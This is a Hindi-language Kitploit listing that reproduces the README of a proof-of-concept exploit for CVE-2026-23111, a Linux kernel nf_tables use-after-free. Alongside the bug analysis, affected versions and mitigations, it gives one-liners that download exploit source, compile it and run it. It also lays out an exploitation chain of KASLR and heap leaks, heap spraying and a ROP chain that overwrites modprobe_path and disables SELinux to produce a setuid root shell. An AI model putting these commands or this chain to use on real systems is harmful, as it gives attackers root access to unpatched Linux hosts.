Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-23111 — लिनक्स कर्नेल nf_tables Use-After-Free (CVE-2026-23111) — LPE PoC | Kitploit
उपकरण/GitHubGitHub/baba01hacker666/cve-2026-23111
विशेषाधिकार वृद्धिमेमोरी फोरेंसिकभेद्यता विश्लेषणशोषणरिवर्स इंजीनियरिंगपेपर और शोधलर्निंग और शिक्षाबाइनरी शोषण
GitHubbaba01hacker666/cve-2026-23111

CVE-2026-23111

लिनक्स कर्नेल nf_tables Use-After-Free (CVE-2026-23111) — LPE PoC

रिपॉजिटरी देखें
722 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-23111 PoC

Linux Kernel nf_tables Use-After-Free (Local Privilege Escalation) poc by baba01hacker

भेद्यता सारांश

  • CVE: CVE-2026-23111
  • प्रकार: Use-After-Free (CWE-416)
  • CVSS: 7.8 (HIGH)
  • घटक: net/netfilter/nf_tables_api.c — nft_map_catchall_activate()
  • मूल कारण: उल्टी genmask जाँच लेन-देन रद्द होने के दौरान श्रृंखला संदर्भ काउंटर लीक का कारण बनती है

प्रभावित कर्नेल संस्करण

संस्करण श्रेणीनिश्चित में
6.19-rc1 से 6.19-rc86.19-rc9+
6.13 से 6.18.96.18.10
6.7 से 6.12.696.12.70
6.4.1 से 6.5.xEOL (कोई स्थिर समाधान नहीं)
6.3.10 से 6.3.xEOL
6.0.x, 6.2.xEOL
6.1.36 से 6.1.1626.1.163
5.15.121 से 5.15.1995.15.200
5.10.188+, 5.4.262+, 4.19.316+विविध LTS

भेद्यता विवरण

CVE-2026-23111 एक nf_tables use-after-free है जो nft_map_catchall_activate() में उल्टी पीढ़ी-मास्क जाँच के कारण होता है। विफल लेन-देन के रोलबैक के दौरान, कैचऑल वर्डिक्ट-मैप तत्व जो NFT_MSG_DELSET द्वारा निष्क्रिय किए गए थे, उन्हें पुनः सक्रिय किया जाना चाहिए ताकि NFT_GOTO श्रृंखला संदर्भ जैसे संदर्भ बहाल हो सकें। कैचऑल सक्रियण पथ ने इसके बजाय सक्रिय तत्वों को छोड़ दिया और निष्क्रिय तत्वों को संसाधित किया, जिससे निष्क्रिय कैचऑल तत्व बहाल नहीं हुए।

सही गैर-कैचऑल सक्रियण तर्क है:

root@kitploit:~
if (nft_set_elem_active(ext, iter->genmask))
    return 0; /* सक्रिय को छोड़ें, निष्क्रिय प्रक्रिया */

असुरक्षित कैचऑल पथ ने विपरीत स्थिति का उपयोग किया:

root@kitploit:~
if (!nft_set_elem_active(ext, genmask))
    continue; /* निष्क्रिय को छोड़ें, सक्रिय प्रक्रिया */

जब एक हटाए गए pipapo वर्डिक्ट मैप को वापस रोल किया जाता है, तो यह nft_setelem_data_activate() को निष्क्रिय कैचऑल तत्व के लिए चलने से रोकता है। NFT_JUMP/NFT_GOTO वर्डिक्ट डेटा के लिए, nft_data_hold() द्वारा ली गई श्रृंखला संदर्भ इसलिए बहाल नहीं होती है। निरस्त/टॉगल/हटाने के अनुक्रम को दोहराने से chain->use शून्य हो सकता है जबकि किसी अन्य नियम में अभी भी श्रृंखला का एक वैध वर्डिक्ट संदर्भ मौजूद है। बाद में DELCHAIN श्रृंखला को मुक्त कर सकता है जबकि यह अभी भी पहुँच योग्य है, UAF बनाता है।

ट्रिगर प्रवाह

root@kitploit:~
टेबल, बेस चेन, पीड़ित श्रृंखला, और कैचऑल NFT_GOTO के साथ pipapo वर्डिक्ट मैप बनाएं -> पीड़ित
        |
बैच 1: pipapo सेट हटाएं, फिर एक लेन-देन त्रुटि को बाध्य करें
        |
निरस्त पथ nft_map_catchall_activate() को कॉल करता है, लेकिन उल्टी जाँच निष्क्रिय कैचऑल को छोड़ देती है
        |
कैचऑल निष्क्रिय रहता है और पीड़ित श्रृंखला संदर्भ गणना बहाल नहीं होती है
        |
बैच 2: पीढ़ी कर्सर को टॉगल करने के लिए एक सौम्य लेन-देन करें
        |
बैच 3: pipapo सेट को सफलतापूर्वक हटाएं, पीड़ित श्रृंखला संदर्भ को फिर से कम करें
        |
बैच 4: पीड़ित श्रृंखला को हटाएं जबकि बेस-चेन वर्डिक्ट अभी भी इसका संदर्भ देता है
        |
Use-after-free जब पैकेट मूल्यांकन या नियम डंप लटकते वर्डिक्ट संदर्भ का अनुसरण करता है

अपस्ट्रीम फिक्स नकारात्मकता को हटाना है ताकि nft_map_catchall_activate() nft_mapelem_activate() से मेल खाए: सक्रिय तत्वों को छोड़ दिया जाता है, निष्क्रिय तत्वों को फिर से सक्रिय किया जाता है, और रद्द हैंडलिंग के दौरान वर्डिक्ट/ऑब्जेक्ट संदर्भ बहाल किए जाते हैं।

केवल परीक्षण

root@kitploit:~
python3 CVE-2026-23111-checker.py --detailed
python3 CVE-2026-23111-checker.py --json

PoC एक-लाइनर चलाएँ

root@kitploit:~
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_full.c && gcc -Wall -O2 -o exploit_full exploit_full.c -lnftnl -lmnl && ./exploit_full -d

v2 फ़ॉलबैक एक-लाइनर

यदि पूर्ण/v1 PoC लक्ष्य कर्नेल पर विफल होता है तो इसका उपयोग करें।

root@kitploit:~
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_v2.c && gcc -Wall -O2 -o exploit_v2 exploit_v2.c -lnftnl -lmnl && ./exploit_v2 -d

स्थानीय निर्माण

यदि कंपाइलर libmnl/libmnl.h या libnftnl हेडर नहीं ढूँढ पाता है तो पहले निर्माण निर्भरताएँ स्थापित करें:

root@kitploit:~
scripts/install-build-deps.sh
# or
make deps
root@kitploit:~
make          # शोषण का निर्माण करें (केवल PoC)
make v2       # v2 शोषण का निर्माण करें (FuzzingLabs दृष्टिकोण — v1 विफल होने पर प्रयास करें)
make full     # पूर्ण LPE शोषण का निर्माण करें
make v3       # v3 कैलिब्रेटेड eval-path संस्करण का निर्माण करें
make run-d    # डीबग आउटपुट के साथ PoC चलाएँ
make run-v2-d # डीबग आउटपुट के साथ v2 चलाएँ
make run-v3   # v3 उपयोग/सहायता दिखाएँ
make run-full # पूर्ण LPE चलाएँ

शोषण चरण

चरण 1: UAF ट्रिगर ✅ कार्यशील

एक कैचऑल तत्व (गोटो पीड़ित श्रृंखला) के साथ एक pipapo मैप सेट बनाता है, फिर DELSET निरस्त के दौरान उल्टी genmask बग का उपयोग करके chain->use को दूषित करता है। पीढ़ी काउंटर को आगे बढ़ाने के बाद, DELCHAIN लटकते संदर्भों के बावजूद सफल होता है, श्रृंखला को मुक्त करता है।

चरण 2: KASLR लीक ✅ कार्यशील

UAF के बाद, chain->name मेमोरी मुक्त हो जाती है। हम /proc/self/stat खोलकर मुक्त स्लैब कैश स्लॉट को पुनः प्राप्त करने के लिए seq_operations संरचनाएँ (32 बाइट) स्प्रे करते हैं। NFT_MSG_GETRULE के माध्यम से बेस चेन के तत्काल वर्डिक्ट नियम को वापस पढ़ने से पुनः प्राप्त श्रृंखला नाम डंप होता है, जिससे कर्नेल फंक्शन पॉइंटर्स लीक हो जाते हैं। पॉइंटर सत्यापन सुनिश्चित करता है कि केवल विहित कर्नेल टेक्स्ट पते स्वीकार किए जाते हैं।

चरण 3: हीप पता लीक ✅ कार्यशील

लंबे श्रृंखला नाम (140 बाइट → kmalloc-cg-192) के साथ UAF को फिर से ट्रिगर करता है, फिर मेमोरी को पुनः प्राप्त करने के लिए nft_rule ऑब्जेक्ट स्प्रे करता है। लीक हुए list_head पॉइंटर प्रत्यक्ष मानचित्र क्षेत्र में हीप पतों को प्रकट करते हैं।

चरण 4: नियंत्रण प्रवाह अपहरण और ROP 🔧 फ्रेमवर्क पूर्ण

  • दो 192-बाइट नियम नकली nft_expr_ops और nft_rule_blob के लिए नियंत्रित डेटा के साथ स्प्रे किए गए
  • चरण 3 से हीप पते का उपयोग नकली ब्लॉब → नकली expr_ops पॉइंटर को जोड़ने के लिए किया गया
  • मुक्त श्रृंखला के blob_gen_0 को ओवरराइट करने के लिए 128-बाइट तालिका उपयोगकर्ता डेटा स्प्रे
  • ROP श्रृंखला: commit_creds(&init_cred) → switch_task_namespaces → swapgs; iretq
  • ROP गैजेट /proc/kcore से स्वचालित रूप से स्कैन किए गए
  • अपहृत expr->ops->eval को लागू करने के लिए बेस चेन के माध्यम से ट्रिगर पैकेट भेजा गया

v2 शोषण (FuzzingLabs दृष्टिकोण)

v2 शोषण (exploit_v2.c) FuzzingLabs लेख में वर्णित तकनीकों का उपयोग करता है और इसका उपयोग तब किया जा सकता है जब v1 PoC विफल हो। मुख्य अंतर:

v2 लीक श्रृंखला (init_ipc_ns मनमाना पढ़ना)

root@kitploit:~
init_ipc_ns + 0x118  →  msg_ids.xa_head  →  msg_queue (टैग किया गया पॉइंटर)
msg_queue + 0xc0     →  q_messages.next  →  msg_msg हीप पता

प्रत्येक चरण मुक्त श्रृंखला संरचना का उपयोग मनमाना-पढ़ने के आदिम के रूप में करता है: तालिका उपयोगकर्ता डेटा (128 बाइट) kmalloc-cg-128 में मुक्त nft_chain को पुनः प्राप्त करता है, और ऑफसेट 0x40 (जहाँ chain->name रहता है) पर रखा गया एक कर्नेल पता SET_B तत्व डंप के दौरान कर्नेल द्वारा डीरेफरेंस किया जाता है।

v3 हीप कैलिब्रेशन और ROP श्रृंखला (modprobe_path)

v3 हीप चरण ऑफसेट-पूर्वानुमानित है न कि सच्चा बाइनरी-सुरक्षित मनमाना-पढ़ने-वाया-eval आदिम। अंतिम स्प्रे चलाने से पहले लक्ष्य को कैलिब्रेट करें:

root@kitploit:~
grep msg_msg /proc/slabinfo
# kmalloc-cg-2048 ऑब्जेक्ट घनत्व के साथ क्रॉस-रेफरेंस करें, फिर इसके साथ चलाएँ:
./exploit_v3 --msg-msg-addr 0xffff...
# या, जब मान लीक कर्नेल बेस के सापेक्ष ज्ञात हो:
./exploit_v3 --msg-msg-delta 0x...

सटीक कर्नेल बिल्ड के विरुद्ध nftables संरचना ऑफसेट सत्यापित करें:

root@kitploit:~
pahole -E -C nft_chain /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_blob /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_dp /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_expr_ops /usr/lib/debug/boot/vmlinux-$(uname -r)

गैजेट स्कैनिंग /proc/kcore का उपयोग करती है; यदि यह प्रतिबंधित है, तो गैजेट को ऑफलाइन vmlinux से निकालें और लीक कर्नेल बेस के सापेक्ष पतों को हार्डकोड करें। v3 पैकेट eval पथ push rdi; pop rsp का उपयोग करता है क्योंकि rdi = expr; यह v2 सत्यापन पथ से भिन्न है, जहाँ rsi = expr।

root@kitploit:~
push rdi; pop rsp; pop rbp; ret           ← स्टैक पिवट (rdi = expr)
pop rdi; ret → &modprobe_path              \
pop rax; ret → "/tmp/pe\0"                 │ write modprobe_path
mov [rdi], rax; ret                        /
pop rdi; ret → &selinux_state             \
xor eax, eax; ret                          │ SELinux अक्षम करें
mov [rdi], eax; ret                        /
pop rdi; ret → 10000                       \
msleep                                      │ कर्नेल को जीवित रखें

/tmp/pe स्क्रिप्ट रूट के रूप में चलती है जब कर्नेल अज्ञात बाइनरी प्रारूप का सामना करने के बाद modprobe_path को लागू करता है। यह /tmp/rootbash पर एक setuid रूट शेल बनाता है।

v2 बनाम v1 का उपयोग कब करें

  • v1 KASLR लीक में विफल: v2 NFT_MSG_GETELEM (भिन्न कर्नेल कोड पथ) का उपयोग करता है NFT_MSG_GETRULE के बजाय
  • v1 हीप लीक में विफल: v2 nft_rule ऑब्जेक्ट स्प्रे करने के बजाय कर्नेल डेटा संरचनाओं को चलने के लिए init_ipc_ns वैश्विक चर का उपयोग करता है
  • v1 अपहरण में विफल: v2 ROP पेलोड के लिए nft_rules + तालिका उपयोगकर्ता डेटा के बजाय msg_msg-2k (बड़ा, स्थिर बफर) का उपयोग करता है
  • v1 privesc में विफल: v2 commit_creds + नेमस्पेस स्विच के बजाय modprobe_path (बिना swapgs/iretq के काम करता है) का उपयोग करता है
  • कर्नेल में SLAB_RANDOM/सख्तीकरण है: v2 की init_ipc_ns श्रृंखला एक स्थिर वैश्विक को लक्षित करती है, जिससे हीप लेआउट कम महत्वपूर्ण हो जाता है

तकनीकी विवरण

बग

nft_map_catchall_activate() (net/netfilter/nf_tables_api.c) में:

root@kitploit:~
list_for_each_entry(catchall, &set->catchall_list, list) {
    ext = nft_set_elem_ext(set, catchall->elem);
    if (!nft_set_elem_active(ext, genmask))  // BUG: बिना '!' के होना चाहिए
        continue;
    nft_clear(ctx->net, ext);
    nft_setelem_data_activate(ctx->net, set, catchall->elem);
    break;
}

! के कारण फ़ंक्शन उन्हें संसाधित करने के बजाय निष्क्रिय तत्वों को छोड़ देता है। लेन-देन रद्द करने के दौरान, कैचऑल तत्व (जिसे अभी-अभी DELSET द्वारा निष्क्रिय किया गया था) को छोड़ दिया जाता है, इसलिए श्रृंखला संदर्भ काउंटर को बहाल करने के लिए nft_data_hold() कभी नहीं बुलाया जाता है।

शोषण तंत्र

  1. कैचऑल तत्व के साथ pipapo मैप सेट बनाएँ → पीड़ित श्रृंखला को गोटो
  2. बैच A: DELSET + अमान्य ऑप → रद्द → chain->use 0 पर रहता है
  3. बैच B: वैध लेन-देन → genid को आगे बढ़ाएँ
  4. बैच C: DELSET → सफल होता है
  5. बैच D: DELCHAIN → श्रृंखला मुक्त (chain->use == 0, लेकिन लटकता संदर्भ मौजूद है)
  6. सेट का कैचऑल तत्व अभी भी मुक्त श्रृंखला नाम का संदर्भ देता है → स्प्रे करें और वापस पढ़ें

फ़ाइलें

root@kitploit:~
├── CVE-2026-23111-checker.py   भेद्यता पहचान स्क्रिप्ट (--detailed, --json)
├── exploit.c                   PoC शोषण (UAF + KASLR लीक + हीप लीक)
├── exploit_v2.c                v2 शोषण (FuzzingLabs दृष्टिकोण — v1 विफल होने पर प्रयास करें)
├── exploit_full.c              पूर्ण LPE शोषण (UAF + लीक + ROP श्रृंखला)
├── exploit_full_aarch64        पूर्व-निर्मित aarch64 बाइनरी (स्थिर)
├── exploit_full.b64            बेस64-एनकोडेड पूर्ण शोषण बाइनरी
├── Makefile                    निर्माण कॉन्फ़िगरेशन
└── README.md                   यह फ़ाइल

निर्माण आवश्यकताएँ

root@kitploit:~
apt-get install -y libmnl-dev libnftnl-dev gcc make python3

क्रॉस-कम्पाइलेशन (aarch64)

root@kitploit:~
apt-get install -y gcc-aarch64-linux-gnu
make aarch64

डीबग निर्माण (AddressSanitizer के साथ)

root@kitploit:~
make debug          # ASan के साथ PoC
make debug-full     # ASan के साथ पूर्ण शोषण

चेकर स्क्रिप्ट

चेकर कई पहचान विधियाँ करता है:

  • संस्करण मिलान: सभी ज्ञात असुरक्षित श्रेणियों (rc कर्नेल सहित) के विरुद्ध कर्नेल संस्करण की जाँच करता है
  • मॉड्यूल पहचान: जाँचता है कि nf_tables कर्नेल मॉड्यूल लोड है या नहीं
  • कर्नेल कॉन्फ़िग: /proc/config.gz या /boot/config-* से CONFIG_NF_TABLES पढ़ता है
  • प्रतीक जाँच: /proc/kallsyms में nft_map_catchall_activate खोजता है
  • नामस्थान सेटिंग्स: kernel.unprivileged_userns_clone sysctl की जाँच करता है
  • जोखिम स्कोरिंग: सभी संकेतकों को 0-6 जोखिम स्कोर में जोड़ता है
root@kitploit:~
python3 CVE-2026-23111-checker.py --detailed   # मानव-पठनीय शमन के साथ
python3 CVE-2026-23111-checker.py --json        # मशीन-पठनीय JSON

समस्या निवारण

संदर्भ

  • FuzzingLabs - CVE-2026-23111 का पुनरुत्पादन
  • Exodus Intel ब्लॉग - विस्तृत विश्लेषण
  • NVD प्रविष्टि
  • कर्नेल पैच 1
  • कर्नेल पैच 2

शमन

  1. कर्नेल को पैच किए गए संस्करण में अपडेट करें (6.18.10+, 6.12.70+, 6.6.124+, आदि)
  2. अनप्रिविलेज्ड उपयोगकर्ता नामस्थान अक्षम करें: sysctl kernel.unprivileged_userns_clone=0
  3. यदि आवश्यक न हो तो nf_tables मॉड्यूल को ब्लैकलिस्ट करें:
    root@kitploit:~
    echo 'install nf_tables /bin/true' >> /etc/modprobe.d/nf_tables.conf
    
टूल डाउनलोड करें
घटकv1 (exploit.c)v2 (exploit_v2.c)
UAF ट्रिगरएकल सेट + तत्काल गोटो नियमदो सेट (FuzzingLabs शैली) + लुकअप नियम
KASLR रीडबैकNFT_MSG_GETRULE (नियम डंप)NFT_MSG_GETELEM (तत्व डंप) + GETRULE फ़ॉलबैक
हीप लीकnft_rule स्प्रे + list_head लीकinit_ipc_ns मनमाना-पढ़ने की श्रृंखला
ROP होस्टnft_rules + तालिका उपयोगकर्ता डेटाmsg_msg-2k (2048-बाइट संदेश)
अपहरण ट्रिगरतत्काल गोटो पर पैकेट evalजीवित सेट कैचऑल पर पैकेट eval
विशेषाधिकार वृद्धिcommit_creds + switch_task_namespacesmodprobe_path ओवरराइट + SELinux अक्षम
वापसी पथswapgs; iretqmsleep() (कर्नेल में रहता है)
समस्यासमाधान
mnl_socket_open: No such file or directoryसुनिश्चित करें कि nf_tables मॉड्यूल लोड है: modprobe nf_tables
unshare: Operation not permittedअनप्रिविलेज्ड उपयोगकर्ता नामस्थानों की आवश्यकता है। kernel.unprivileged_userns_clone=1 जाँचें
Batch A did NOT abortकर्नेल पैच किया जा सकता है या genmask व्यवहार भिन्न है
No kernel pointer leakedKASLR सख्तीकरण या SLAB_RANDOM प्रभावी हो सकता है; अनेक रन आज़माएँ
No heap pointer foundहीप स्प्रे टक्कर दर संभाव्य है; पुनः प्रयास करें या स्प्रे गणना बढ़ाएँ
संकलन: nf_tables.h: No such fileकर्नेल हेडर स्थापित करें: apt install linux-headers-$(uname -r)
लिंक त्रुटि: mnl_* का अपरिभाषित संदर्भलिंक ऑर्डर महत्वपूर्ण है: -lnftnl -lmnl (mnl से पहले nftnl)